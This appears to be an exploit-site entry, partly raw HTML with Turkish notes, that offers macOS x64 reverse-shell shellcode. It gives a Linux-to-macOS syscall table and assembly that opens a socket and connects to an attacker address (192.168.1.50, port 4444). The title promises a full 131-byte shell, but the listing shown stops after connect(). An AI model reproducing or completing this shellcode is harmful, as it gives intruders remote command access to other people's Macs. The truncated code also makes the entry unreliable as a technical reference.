VULN REPORT
/
shellcode
/
ID: 257
macOS/x64 Reverse Shell Shellcode - 131 Bytes (macOS Ventura)
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 36 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_257.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">
<div class="border-l-4 border-sky-500 pl-5 py-3 bg-sky-50/60 rounded-r-xl">
<p class="text-xs font-bold uppercase tracking-widest text-sky-700 mb-1">Modern Shellcode - macOS x64 - 131 Bytes</p>
<h2 class="text-2xl font-extrabold text-slate-900 leading-tight">macOS/x64 Reverse Shell Shellcode - 131 Bytes</h2>
<p class="text-sm text-slate-600 mt-2">macOS'ta syscall'lar icin 0x2000000 tabanlı offset kullanilir. Linux ile ayni POSIX yapisi ancak farkli syscall numaralari.</p>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">macOS Syscall Farklari</h3>
<div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
Linux x64 macOS x64
socket=41 0x2000061
connect=42 0x2000062
dup2=33 0x2000090
execve=59 0x200003b
ABI: rax = 0x2000000 + syscall_no
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Assembly macOS x64</h3>
<div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
mov rax, 0x2000061
mov rdi, 2
mov rsi, 1
mov rdx, 6
syscall
mov r12, rax
; sockaddr_in: port=4444, ip=192.168.1.50
sub rsp, 16
mov word [rsp], 2
mov word [rsp+2], 0x5c11
mov byte [rsp+4], 192
mov byte [rsp+5], 168
mov byte [rsp+6], 1
mov byte [rsp+7], 50
; connect()
mov rax, 0x2000062
mov rdi, r12
mov rsi, rsp
mov rdx, 16
syscall
</div>
</div>
<div class="bg-amber-50 border border-amber-200 rounded-xl p-4"><p class="text-xs font-bold text-amber-800 mb-1">M-SERIES Apple Silicon</p><p class="text-xs text-amber-700">Apple M1/M2/M3 (ARM64) icin ayri shellcode gerekir. Rosetta 2 x64 shellcode'u dogrudan calistirmaz.</p></div>
</div>
Entry Stats
Views
36
Downloads
6
Comments
0